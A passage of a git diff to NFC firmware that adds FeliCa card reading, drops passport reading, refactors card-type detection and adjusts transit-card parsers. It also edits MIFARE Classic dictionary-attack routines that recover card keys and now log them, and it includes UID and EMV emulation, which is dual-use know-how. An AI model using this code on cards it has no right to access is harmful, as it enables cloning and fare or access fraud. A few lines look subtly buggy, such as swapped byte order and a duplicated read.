nfc_worker->dev_data->protocol = NfcDeviceProtocolEMV; + if(!nfc_worker_read_bank_card(nfc_worker, tx_rx)) { + FURI_LOG_I(TAG, "Unknown card. Save UID"); + nfc_worker->dev_data->protocol = NfcDeviceProtocolUnknown; + } + card_read = true; + } else { + nfc_worker->dev_data->protocol = NfcDeviceProtocolUnknown; + card_read = true; + } + + return card_read; +} + +static bool nfc_worker_read_felica(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { bool read_success = false; - MrtdData* mrtd_data = &nfc_worker->dev_data->mrtd_data; - MrtdApplication* mrtd_app = mrtd_alloc_init(tx_rx, mrtd_data); + FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + FelicaData* data = &nfc_worker->dev_data->felica_data; if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, tx_rx, false); @@ -487,28 +583,8 @@ static bool nfc_worker_read_mrtd(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* t } do { - // Read passport if(!furi_hal_nfc_detect(&nfc_worker->dev_data->nfc_data, 300)) break; - - //TODO: try select eMRTDApp first, but when PACE, read CardAccess first! - if(!mrtd_select_app(mrtd_app, AID.eMRTDApplication)) break; // Passport app not selected - - if(mrtd_data->auth.method == MrtdAuthMethodNone) { - // Selected the passport app, but auth. not selected - // Successfully read what we could - read_success = true; - break; - } - - if(!mrtd_authenticate(mrtd_app)) { - // At least we're reading an MRTD and should the app switch to the NFC scenes - read_success = true; - break; // Authentication failed - } - - mrtd_read_parse_file(mrtd_app, EF.COM); - mrtd_read_parse_file(mrtd_app, EF.DG1); - + if(!felica_read_card(tx_rx, data, nfc_data->uid, nfc_data->f_data.pmm)) break; read_success = true; } while(false); @@ -519,96 +595,20 @@ static bool nfc_worker_read_mrtd(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* t return read_success; } -static bool nfc_worker_read_nfca(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { +static bool nfc_worker_read_nfcf(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + FuriHalNfcFDevData* f_data = &nfc_data->f_data; bool card_read = false; furi_hal_nfc_sleep(); - if(mf_ul_check_card_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak)) { - FURI_LOG_I(TAG, "Mifare Ultralight / NTAG detected"); - nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareUl; - card_read = nfc_worker_read_mf_ultralight(nfc_worker, tx_rx); - } else if(mf_classic_check_card_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak)) { - FURI_LOG_I(TAG, "Mifare Classic detected"); - nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareClassic; - nfc_worker->dev_data->mf_classic_data.type = - mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); - card_read = nfc_worker_read_mf_classic(nfc_worker, tx_rx); - } else if(mf_df_check_card_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak)) { - FURI_LOG_I(TAG, "Mifare DESFire detected"); - nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareDesfire; - if(!nfc_worker_read_mf_desfire(nfc_worker, tx_rx)) { - FURI_LOG_I(TAG, "Unknown card. Save UID"); - nfc_worker->dev_data->protocol = NfcDeviceProtocolUnknown; - } - card_read = true; - } else if(nfc_data->interface == FuriHalNfcInterfaceIsoDep) { - FURI_LOG_I(TAG, "ISO14443-4 card detected"); - //TODO: thoughts on improving logic/readability here? - do { - FURI_LOG_D(TAG, "Try reading EMV"); - if(nfc_worker_read_bank_card(nfc_worker, tx_rx)) { - nfc_worker->dev_data->protocol = NfcDeviceProtocolEMV; - break; - } - - furi_hal_nfc_sleep(); // Needed between checks - FURI_LOG_D(TAG, "Try reading MRTD"); - if(nfc_worker_read_mrtd(nfc_worker, tx_rx)) { - nfc_worker->dev_data->protocol = NfcDeviceProtocolMRTD; - break; - } - - FURI_LOG_I(TAG, "Unknown card. Save UID"); - nfc_worker->dev_data->protocol = NfcDeviceProtocolUnknown; - } while(false); - card_read = true; + if(felica_check_ic_type(f_data->pmm)) { + FURI_LOG_I(TAG, "FeliCa detected"); + nfc_worker->dev_data->protocol = NfcDeviceProtocolFelica; + nfc_worker->dev_data->felica_data.type = felica_get_ic_type(f_data->pmm); + card_read = nfc_worker_read_felica(nfc_worker, tx_rx); } else { nfc_worker->dev_data->protocol = NfcDeviceProtocolUnknown; - card_read = true; } - - return card_read; -} - -static bool nfc_worker_read_nfcb(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - - bool card_read = false; - furi_hal_nfc_sleep(); - if(nfc_data->interface == FuriHalNfcInterfaceIsoDep) { - FURI_LOG_I(TAG, "ISO14443-4B card detected"); - //TODO: thoughts on improving logic/readability here? - do { - FURI_LOG_D(TAG, "Try reading MRTD"); - if(nfc_worker_read_mrtd(nfc_worker, tx_rx)) { - nfc_worker->dev_data->protocol = NfcDeviceProtocolMRTD; - break; - } - - FURI_LOG_I(TAG, "Unknown card. Save UID"); - nfc_worker->dev_data->protocol = NfcDeviceProtocolUnknown; - } while(false); - card_read = true; - } else { - nfc_worker->dev_data->protocol = NfcDeviceProtocolUnknown; - card_read = true; - } - - return card_read; -} - -static bool nfc_worker_read_nfcv(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { - furi_assert(nfc_worker); - furi_assert(tx_rx); - - bool card_read = false; - furi_hal_nfc_sleep(); - - /* until here the UID field is reversed from the reader IC. - we will read it here again and it will get placed in the right order. */ - card_read = nfc_worker_read_nfcv_content(nfc_worker, tx_rx); - return card_read; } @@ -642,9 +642,6 @@ void nfc_worker_read(NfcWorker* nfc_worker) { } else if(dev_data->protocol == NfcDeviceProtocolEMV) { event = NfcWorkerEventReadBankCard; break; - } else if(dev_data->protocol == NfcDeviceProtocolMRTD) { - event = NfcWorkerEventReadPassport; - break; } else if(dev_data->protocol == NfcDeviceProtocolUnknown) { event = NfcWorkerEventReadUidNfcA; break; @@ -656,16 +653,14 @@ void nfc_worker_read(NfcWorker* nfc_worker) { } } } else if(nfc_data->type == FuriHalNfcTypeB) { - if(nfc_worker_read_nfcb(nfc_worker, &tx_rx)) { - if(dev_data->protocol == NfcDeviceProtocolMRTD) { - event = NfcWorkerEventReadPassport; - break; - } - } - event = NfcWorkerEventReadUidNfcB; break; } else if(nfc_data->type == FuriHalNfcTypeF) { + nfc_worker->callback(NfcWorkerEventCardDetected, nfc_worker->context); + if(nfc_worker_read_nfcf(nfc_worker, &tx_rx)) { + event = NfcWorkerEventReadFelica; + break; + } event = NfcWorkerEventReadUidNfcF; break; } else if(nfc_data->type == FuriHalNfcTypeV) { @@ -673,8 +668,6 @@ void nfc_worker_read(NfcWorker* nfc_worker) { nfc_worker->dev_data->protocol = NfcDeviceProtocolNfcV; if(nfc_worker_read_nfcv(nfc_worker, &tx_rx)) { FURI_LOG_I(TAG, "nfc_worker_read_nfcv success"); - //event = NfcWorkerEventReadNfcV; - //break; } event = NfcWorkerEventReadNfcV; break; @@ -716,8 +709,8 @@ void nfc_worker_read_type(NfcWorker* nfc_worker) { if(nfc_data->type == FuriHalNfcTypeA) { if(read_mode == NfcReadModeMfClassic) { nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareClassic; - nfc_worker->dev_data->mf_classic_data.type = mf_classic_get_classic_type( - nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + nfc_worker->dev_data->mf_classic_data.type = + mf_classic_get_classic_type(&nfc_data->a_data); if(nfc_worker_read_mf_classic(nfc_worker, &tx_rx)) { FURI_LOG_D(TAG, "Card read"); dev_data->protocol = NfcDeviceProtocolMifareClassic; @@ -753,6 +746,17 @@ void nfc_worker_read_type(NfcWorker* nfc_worker) { event = NfcWorkerEventReadUidNfcA; break; } + } else if(nfc_data->type == FuriHalNfcTypeF) { + if(read_mode == NfcReadModeFelica) { + nfc_worker->dev_data->protocol = NfcDeviceProtocolFelica; + if(nfc_worker_read_felica(nfc_worker, &tx_rx)) { + nfc_worker->dev_data->protocol = NfcDeviceProtocolFelica; + if(nfc_worker_read_felica(nfc_worker, &tx_rx)) { + event = NfcWorkerEventReadFelica; + break; + } + } + } } } else { if(!card_not_detected_notified) { @@ -778,7 +782,8 @@ void nfc_worker_emulate_uid(NfcWorker* nfc_worker) { // Need to save ATS to support ISO-14443A-4 emulation while(nfc_worker->state == NfcWorkerStateUidEmulate) { - if(furi_hal_nfc_listen(data->uid, data->uid_len, data->atqa, data->sak, false, 100)) { + if(furi_hal_nfc_listen( + data->uid, data->uid_len, data->a_data.atqa, data->a_data.sak, false, 100)) { if(furi_hal_nfc_tx_rx(&tx_rx, 100)) { reader_data->size = tx_rx.rx_bits / 8; if(reader_data->size > 0) { @@ -794,39 +799,16 @@ void nfc_worker_emulate_uid(NfcWorker* nfc_worker) { } } -void nfc_worker_emulate_nfcv(NfcWorker* nfc_worker) { - FuriHalNfcTxRxContext tx_rx = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - NfcVData* nfcv_data = &nfc_worker->dev_data->nfcv_data; - - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, &tx_rx, true); - reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); - } - - nfcv_emu_init(nfc_data, nfcv_data); - while(nfc_worker->state == NfcWorkerStateNfcVEmulate) { - if(nfcv_emu_loop(&tx_rx, nfc_data, nfcv_data, 50)) { - if(nfc_worker->callback) { - nfc_worker->callback(NfcWorkerEventSuccess, nfc_worker->context); - } - } - furi_delay_ms(0); - } - nfcv_emu_deinit(nfcv_data); - - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - reader_analyzer_stop(nfc_worker->reader_analyzer); - } -} - void nfc_worker_emulate_apdu(NfcWorker* nfc_worker) { FuriHalNfcTxRxContext tx_rx = {}; FuriHalNfcDevData params = { .uid = {0xCF, 0x72, 0xd4, 0x40}, .uid_len = 4, - .atqa = {0x00, 0x04}, - .sak = 0x20, + .a_data = + { + .atqa = {0x00, 0x04}, + .sak = 0x20, + }, .type = FuriHalNfcTypeA, }; @@ -836,7 +818,8 @@ void nfc_worker_emulate_apdu(NfcWorker* nfc_worker) { } while(nfc_worker->state == NfcWorkerStateEmulateApdu) { //-V1044 - if(furi_hal_nfc_listen(params.uid, params.uid_len, params.atqa, params.sak, false, 300)) { + if(furi_hal_nfc_listen( + params.uid, params.uid_len, params.a_data.atqa, params.a_data.sak, false, 300)) { FURI_LOG_D(TAG, "POS terminal detected"); if(emv_card_emulation(&tx_rx)) { FURI_LOG_D(TAG, "EMV card emulated"); @@ -877,20 +860,11 @@ void nfc_worker_emulate_mf_ultralight(NfcWorker* nfc_worker) { furi_hal_nfc_emulate_nfca( nfc_data->uid, nfc_data->uid_len, - nfc_data->atqa, - nfc_data->sak, + nfc_data->a_data.atqa, + nfc_data->a_data.sak, mf_ul_prepare_emulation_response, &emulator, 5000); - // Check if there was an auth attempt - if(emulator.auth_attempted) { - nfc_worker->event_data = &emulator.auth_attempt; - if(nfc_worker->callback) { - nfc_worker->callback(NfcWorkerEventMfUltralightPwdAuth, nfc_worker->context); - } - emulator.auth_attempted = false; - nfc_worker->event_data = NULL; - } // Check if data was modified if(emulator.data_changed) { nfc_worker->dev_data->mf_ul_data = emulator.data; @@ -971,7 +945,8 @@ static void nfc_worker_mf_classic_key_attack( (uint32_t)key); if(mf_classic_authenticate(tx_rx, block_num, key, MfClassicKeyA)) { mf_classic_set_key_found(data, i, MfClassicKeyA, key); - FURI_LOG_D(TAG, "Key found"); + FURI_LOG_D( + TAG, "Key A found: %04lx%08lx", (uint32_t)(key >> 32), (uint32_t)key); nfc_worker->callback(NfcWorkerEventFoundKeyA, nfc_worker->context); uint64_t found_key; @@ -994,7 +969,8 @@ static void nfc_worker_mf_classic_key_attack( (uint32_t)key); if(mf_classic_authenticate(tx_rx, block_num, key, MfClassicKeyB)) { mf_classic_set_key_found(data, i, MfClassicKeyB, key); - FURI_LOG_D(TAG, "Key found"); + FURI_LOG_D( + TAG, "Key B found: %04lx%08lx", (uint32_t)(key >> 32), (uint32_t)key); nfc_worker->callback(NfcWorkerEventFoundKeyB, nfc_worker->context); } } @@ -1072,7 +1048,7 @@ void nfc_worker_mf_classic_dict_attack(NfcWorker* nfc_worker) { if(mf_classic_authenticate_skip_activate( &tx_rx, block_num, key, MfClassicKeyA, !deactivated, cuid)) { mf_classic_set_key_found(data, i, MfClassicKeyA, key); - FURI_LOG_D(TAG, "Key found"); + FURI_LOG_D(TAG, "Key A found"); nfc_worker->callback(NfcWorkerEventFoundKeyA, nfc_worker->context); uint64_t found_key; @@ -1086,24 +1062,39 @@ void nfc_worker_mf_classic_dict_attack(NfcWorker* nfc_worker) { } nfc_worker_mf_classic_key_attack(nfc_worker, found_key, &tx_rx, i + 1); + break; } nfc_worker_mf_classic_key_attack(nfc_worker, key, &tx_rx, i + 1); - deactivated = true; } furi_hal_nfc_sleep(); deactivated = true; + } else { + // If the key A is marked as found and matches the searching key, invalidate it + if(mf_classic_is_key_found(data, i, MfClassicKeyA) && + data->block[i].value[0] == key) { + mf_classic_set_key_not_found(data, i, MfClassicKeyA); + is_key_a_found = false; + FURI_LOG_D(TAG, "Key %dA not found in attack", i); + } } if(!is_key_b_found) { is_key_b_found = mf_classic_is_key_found(data, i, MfClassicKeyB); if(mf_classic_authenticate_skip_activate( &tx_rx, block_num, key, MfClassicKeyB, !deactivated, cuid)) { - FURI_LOG_D(TAG, "Key found"); + FURI_LOG_D(TAG, "Key B found"); mf_classic_set_key_found(data, i, MfClassicKeyB, key); nfc_worker->callback(NfcWorkerEventFoundKeyB, nfc_worker->context); nfc_worker_mf_classic_key_attack(nfc_worker, key, &tx_rx, i + 1); - deactivated = true; } deactivated = true; + } else { + // If the key B is marked as found and matches the searching key, invalidate it + if(mf_classic_is_key_found(data, i, MfClassicKeyB) && + data->block[i].value[10] == key) { + mf_classic_set_key_not_found(data, i, MfClassicKeyB); + is_key_b_found = false; + FURI_LOG_D(TAG, "Key %dB not found in attack", i); + } } if(is_key_a_found && is_key_b_found) break; if(nfc_worker->state != NfcWorkerStateMfClassicDictAttack) break; @@ -1184,8 +1175,7 @@ void nfc_worker_write_mf_classic(NfcWorker* nfc_worker) { } FURI_LOG_I(TAG, "Check mf classic type"); - MfClassicType type = - mf_classic_get_classic_type(nfc_data.atqa[0], nfc_data.atqa[1], nfc_data.sak); + MfClassicType type = mf_classic_get_classic_type(&nfc_data.a_data); if(type != nfc_worker->dev_data->mf_classic_data.type) { FURI_LOG_E(TAG, "Wrong mf classic type"); nfc_worker->callback(NfcWorkerEventWrongCard, nfc_worker->context); @@ -1257,8 +1247,7 @@ void nfc_worker_update_mf_classic(NfcWorker* nfc_worker) { } FURI_LOG_I(TAG, "Check MF classic type"); - MfClassicType type = - mf_classic_get_classic_type(nfc_data.atqa[0], nfc_data.atqa[1], nfc_data.sak); + MfClassicType type = mf_classic_get_classic_type(&nfc_data.a_data); if(type != nfc_worker->dev_data->mf_classic_data.type) { FURI_LOG_E(TAG, "MF classic type mismatch"); nfc_worker->callback(NfcWorkerEventWrongCard, nfc_worker->context); @@ -1320,7 +1309,7 @@ void nfc_worker_mf_ultralight_read_auth(NfcWorker* nfc_worker) { while(nfc_worker->state == NfcWorkerStateReadMfUltralightReadAuth) { furi_hal_nfc_sleep(); if(furi_hal_nfc_detect(nfc_data, 300) && nfc_data->type == FuriHalNfcTypeA) { - if(mf_ul_check_card_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak)) { + if(mf_ul_check_card_type(&nfc_data->a_data)) { nfc_worker->callback(NfcWorkerEventCardDetected, nfc_worker->context); if(data->auth_method == MfUltralightAuthMethodManual || data->auth_method == MfUltralightAuthMethodAuto) { diff --git a/lib/nfc/nfc_worker.h b/lib/nfc/nfc_worker.h index 5df40f1aa..89ce91186 100644 --- a/lib/nfc/nfc_worker.h +++ b/lib/nfc/nfc_worker.h @@ -21,6 +21,7 @@ typedef enum { NfcWorkerStateNfcVEmulate, NfcWorkerStateNfcVUnlock, NfcWorkerStateNfcVUnlockAndSave, + NfcWorkerStateNfcVSniff, // Debug NfcWorkerStateEmulateApdu, NfcWorkerStateField, @@ -37,6 +38,7 @@ typedef enum { NfcWorkerEventReadUidNfcV, NfcWorkerEventReadUidNfcF, NfcWorkerEventReadUidNfcA, + NfcWorkerEventReadFelica, NfcWorkerEventReadMfUltralight, NfcWorkerEventReadMfDesfire, NfcWorkerEventReadMfClassicDone, @@ -44,7 +46,6 @@ typedef enum { NfcWorkerEventReadMfClassicDictAttackRequired, NfcWorkerEventReadNfcV, NfcWorkerEventReadBankCard, - NfcWorkerEventReadPassport, // Nfc worker common events NfcWorkerEventSuccess, @@ -76,7 +77,8 @@ typedef enum { NfcWorkerEventMfUltralightPassKey, // NFC worker requesting manual key NfcWorkerEventMfUltralightPwdAuth, // Reader sent auth command NfcWorkerEventNfcVPassKey, // NFC worker requesting manual key - + NfcWorkerEventNfcVCommandExecuted, + NfcWorkerEventNfcVContentChanged, } NfcWorkerEvent; typedef bool (*NfcWorkerCallback)(NfcWorkerEvent event, void* context); @@ -85,8 +87,6 @@ NfcWorker* nfc_worker_alloc(); NfcWorkerState nfc_worker_get_state(NfcWorker* nfc_worker); -void* nfc_worker_get_event_data(NfcWorker* nfc_worker); - void nfc_worker_free(NfcWorker* nfc_worker); void nfc_worker_start( @@ -98,4 +98,5 @@ void nfc_worker_start( void nfc_worker_stop(NfcWorker* nfc_worker); void nfc_worker_nfcv_unlock(NfcWorker* nfc_worker); -void nfc_worker_emulate_nfcv(NfcWorker* nfc_worker); +void nfc_worker_nfcv_emulate(NfcWorker* nfc_worker); +void nfc_worker_nfcv_sniff(NfcWorker* nfc_worker); diff --git a/lib/nfc/nfc_worker_i.h b/lib/nfc/nfc_worker_i.h index 95c66c2ab..eda42c313 100644 --- a/lib/nfc/nfc_worker_i.h +++ b/lib/nfc/nfc_worker_i.h @@ -7,11 +7,11 @@ #include #include -#include #include #include #include #include +#include #include #include #include @@ -26,7 +26,6 @@ struct NfcWorker { NfcWorkerCallback callback; void* context; - void* event_data; NfcWorkerState state; diff --git a/lib/nfc/parsers/plantain_4k_parser.c b/lib/nfc/parsers/plantain_4k_parser.c index aed41965c..3990461fc 100644 --- a/lib/nfc/parsers/plantain_4k_parser.c +++ b/lib/nfc/parsers/plantain_4k_parser.c @@ -70,8 +70,8 @@ bool plantain_4k_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx furi_assert(nfc_worker); MfClassicReader reader = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - reader.type = mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; + reader.type = mf_classic_get_classic_type(nfc_a_data); for(size_t i = 0; i < COUNT_OF(plantain_keys_4k); i++) { mf_classic_reader_add_sector( &reader, @@ -118,7 +118,7 @@ bool plantain_4k_parser_parse(NfcDeviceData* dev_data) { } furi_string_printf( - dev_data->parsed_data, "\e#Plantain\nN:%llu-\nBalance:%ld\n", card_number, balance); + dev_data->parsed_data, "\e#Plantain\nN:%llu-\nBalance:%lu\n", card_number, balance); return true; } diff --git a/lib/nfc/parsers/plantain_parser.c b/lib/nfc/parsers/plantain_parser.c index 3a1d17732..758b038e8 100644 --- a/lib/nfc/parsers/plantain_parser.c +++ b/lib/nfc/parsers/plantain_parser.c @@ -45,8 +45,8 @@ bool plantain_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { furi_assert(nfc_worker); MfClassicReader reader = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - reader.type = mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; + reader.type = mf_classic_get_classic_type(nfc_a_data); for(size_t i = 0; i < COUNT_OF(plantain_keys); i++) { mf_classic_reader_add_sector( &reader, plantain_keys[i].sector, plantain_keys[i].key_a, plantain_keys[i].key_b); @@ -91,7 +91,7 @@ bool plantain_parser_parse(NfcDeviceData* dev_data) { } furi_string_printf( - dev_data->parsed_data, "\e#Plantain\nN:%llu-\nBalance:%ld\n", card_number, balance); + dev_data->parsed_data, "\e#Plantain\nN:%llu-\nBalance:%lu\n", card_number, balance); return true; } diff --git a/lib/nfc/parsers/troika_4k_parser.c b/lib/nfc/parsers/troika_4k_parser.c index d87b4eba7..aca0ee2c0 100644 --- a/lib/nfc/parsers/troika_4k_parser.c +++ b/lib/nfc/parsers/troika_4k_parser.c @@ -67,8 +67,8 @@ bool troika_4k_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) furi_assert(nfc_worker); MfClassicReader reader = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - reader.type = mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; + reader.type = mf_classic_get_classic_type(nfc_a_data); for(size_t i = 0; i < COUNT_OF(troika_4k_keys); i++) { mf_classic_reader_add_sector( &reader, troika_4k_keys[i].sector, troika_4k_keys[i].key_a, troika_4k_keys[i].key_b); @@ -99,7 +99,7 @@ bool troika_4k_parser_parse(NfcDeviceData* dev_data) { number >>= 4; furi_string_printf( - dev_data->parsed_data, "\e#Troika\nNum: %ld\nBalance: %d rur.", number, balance); + dev_data->parsed_data, "\e#Troika\nNum: %lu\nBalance: %u rur.", number, balance); return true; } diff --git a/lib/nfc/parsers/troika_parser.c b/lib/nfc/parsers/troika_parser.c index 9c16296f3..fe699a765 100644 --- a/lib/nfc/parsers/troika_parser.c +++ b/lib/nfc/parsers/troika_parser.c @@ -43,8 +43,8 @@ bool troika_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { furi_assert(nfc_worker); MfClassicReader reader = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - reader.type = mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; + reader.type = mf_classic_get_classic_type(nfc_a_data); for(size_t i = 0; i < COUNT_OF(troika_keys); i++) { mf_classic_reader_add_sector( @@ -79,7 +79,7 @@ bool troika_parser_parse(NfcDeviceData* dev_data) { number >>= 4; furi_string_printf( - dev_data->parsed_data, "\e#Troika\nNum: %ld\nBalance: %d rur.", number, balance); + dev_data->parsed_data, "\e#Troika\nNum: %lu\nBalance: %u rur.", number, balance); troika_parsed = true; } while(false); diff --git a/lib/nfc/parsers/two_cities.c b/lib/nfc/parsers/two_cities.c index 0e2ed5690..b6a8bc552 100644 --- a/lib/nfc/parsers/two_cities.c +++ b/lib/nfc/parsers/two_cities.c @@ -71,8 +71,8 @@ bool two_cities_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) furi_assert(nfc_worker); MfClassicReader reader = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - reader.type = mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; + reader.type = mf_classic_get_classic_type(nfc_a_data); for(size_t i = 0; i < COUNT_OF(two_cities_keys_4k); i++) { mf_classic_reader_add_sector( &reader, @@ -136,7 +136,7 @@ bool two_cities_parser_parse(NfcDeviceData* dev_data) { furi_string_printf( dev_data->parsed_data, - "\e#Troika+Plantain\nPN: %llu-\nPB: %ld rur.\nTN: %ld\nTB: %d rur.\n", + "\e#Troika+Plantain\nPN: %llu-\nPB: %lu rur.\nTN: %lu\nTB: %u rur.\n", card_number, balance, troika_number, diff --git a/lib/nfc/protocols/felica.c b/lib/nfc/protocols/felica.c new file mode 100644 index 000000000..d9489cb50 --- /dev/null +++ b/lib/nfc/protocols/felica.c @@ -0,0 +1,658 @@ +#include +#include +#include "felica.h" +#include "nfc_util.h" +#include +#include "furi_hal_nfc.h" + +#define TAG "FeliCa" + +bool felica_check_ic_type(uint8_t* PMm) { + uint8_t ic_type = PMm[0]; + uint8_t rom_type = PMm[1]; + + bool is_valid_ic = false; + if(ic_type == 0xff) { // RC-S967 in nfc-dep + is_valid_ic = true; + } else if(ic_type == 0xf0 || ic_type == 0xf2) { // Lite(S) + is_valid_ic = true; + } else if(ic_type == 0xe1) { // RC-S967 in plug mode + is_valid_ic = true; + } else if(ic_type == 0xe0) { // RC-S926 + is_valid_ic = true; + } else if(ic_type >= 0x44 && ic_type <= 0x48) { // SD2 + is_valid_ic = true; + } else if(ic_type == 0x3e && rom_type == 0x03) { // RC-SA08 + return true; + } else if(ic_type == 0x35) { // RC-SA01 + is_valid_ic = true; + } else if(ic_type == 0x32) { // RC-SA00 + is_valid_ic = true; + } else if(ic_type == 0x31) { // Suica/PASMO + is_valid_ic = true; + } else if(ic_type == 0x20) { // RC-S962 + is_valid_ic = true; + } else if(ic_type >= 0x10 && ic_type <= 0x1f) { // Mobile IC version 2/3 + is_valid_ic = true; + } else if(ic_type == 0x0d) { // RC-S960 + is_valid_ic = true; + } else if(ic_type == 0x0c) { // RC-S954 + is_valid_ic = true; + } else if(ic_type == 0x0b) { // Old Suica? + is_valid_ic = true; + } else if(ic_type == 0x09) { // RC-S953 + is_valid_ic = true; + } else if(ic_type == 0x08) { // RC-S952 + is_valid_ic = true; + } else if(ic_type == 0x06 || ic_type == 0x07) { // Mobile IC version 1 + is_valid_ic = true; + } else if(ic_type == 0x02) { // RC-S919 + is_valid_ic = true; + } else if(ic_type == 0x01) { // RC-S915 + is_valid_ic = true; + } else if(ic_type == 0x00) { // RC-S830 + is_valid_ic = true; + } + + if(!is_valid_ic) { + return false; + } + + // need more samples to confirm below + /* + if (rom_type != 0x01) { + return false; + } + */ + + return true; +} + +FelicaICType felica_get_ic_type(uint8_t* PMm) { + uint8_t rom_type = PMm[0]; + uint8_t ic_type = PMm[1]; + + UNUSED(rom_type); + switch(ic_type) { + case 0xff: + return FelicaICTypeLink; + case 0xf2: + return FelicaICTypeLink; + case 0xf1: + return FelicaICTypeLiteS; + case 0xf0: + return FelicaICTypeLite; + case 0xe1: + return FelicaICTypeLink; + case 0xe0: + return FelicaICTypePlug; + case 0x48: + return FelicaICTypeSD2_6K; + case 0x47: + return FelicaICTypeRC_SA24_6K; + case 0x46: + return FelicaICTypeSD2_4K; + case 0x45: + case 0x44: + return FelicaICTypeSD2WithDES; + case 0x3e: + return FelicaICTypeRC_SA08; + case 0x35: + return FelicaICTypeSD1; + case 0x32: + return FelicaICTypeSD1WithDES; + case 0x31: + return FelicaICTypeSuica; + case 0x20: + return FelicaICTypeFRAM_4K; + case 0x1f: + case 0x1e: + case 0x1d: + case 0x1c: + case 0x1b: + case 0x1a: + case 0x19: + case 0x18: + return FelicaICTypeMobileIC_V4_1; + case 0x17: + return FelicaICTypeMobileIC_V4; + case 0x16: + case 0x15: + case 0x14: + return FelicaICTypeMobileIC_V3; + case 0x13: + case 0x12: + case 0x11: + case 0x10: + return FelicaICTypeMobileIC_V2; + case 0x0d: + return FelicaICTypeFRAM_9K; + case 0x0c: + return FelicaICTypeEMV_36K; + case 0x0b: // Old Suica? + return FelicaICTypeSuica; + case 0x09: + return FelicaICTypeEMV_16K; + case 0x08: + return FelicaICTypeEMV_32K; + case 0x07: + case 0x06: + return FelicaICTypeMobileIC_V1; + case 0x02: + return FelicaICType576B; + case 0x01: + return FelicaICType4K; + case 0x00: + return FelicaICType2K; + } + + return FelicaICType2K; +} + +uint8_t felica_prepare_unencrypted_read( + uint8_t* dest, + const FelicaReader* reader, + const uint16_t* service_code_list, + uint8_t service_count, + const uint32_t* block_list, + uint8_t block_count) { + dest[0] = FELICA_UNENCRYPTED_READ_CMD; + memcpy(&dest[1], reader->current_idm, 8); + + dest[9] = service_count; + uint8_t msg_len = 10; + for(int i = 0; i < service_count; i++) { + uint16_t service_code = service_code_list[i]; + dest[msg_len++] = service_code & 0xFF; + dest[msg_len++] = service_code >> 8; + } + + dest[msg_len++] = block_count; + for(int i = 0; i < block_count; i++) { + uint16_t block_num = block_list[i]; + dest[msg_len++] = block_num & 0xFF; + dest[msg_len++] = block_num >> 8; + } + + return msg_len; +} + +uint8_t felica_lite_prepare_unencrypted_read( + uint8_t* dest, + const FelicaReader* reader, + bool is_read_only, + const uint8_t* block_list, + uint8_t block_count) { + dest[0] = FELICA_UNENCRYPTED_READ_CMD; + memcpy(&dest[1], reader->current_idm, 8); + + dest[9] = 1; + uint8_t msg_len = 10; + uint8_t service_code = + FelicaServiceTypeRandom | + ((is_read_only) ? FelicaServiceAttributeUnauthRO : FelicaServiceAttributeUnauthRO); + + dest[msg_len++] = service_code & 0xFF; + dest[msg_len++] = service_code >> 8; + + dest[msg_len++] = block_count; + for(int i = 0; i < block_count; i++) { + dest[msg_len++] = IS_2_BYTE_BLOCK_LIST_ELEMENT; + dest[msg_len++] = block_list[i]; + } + + return msg_len; +} + +uint16_t felica_parse_unencrypted_read( + uint8_t* buf, + uint8_t len, 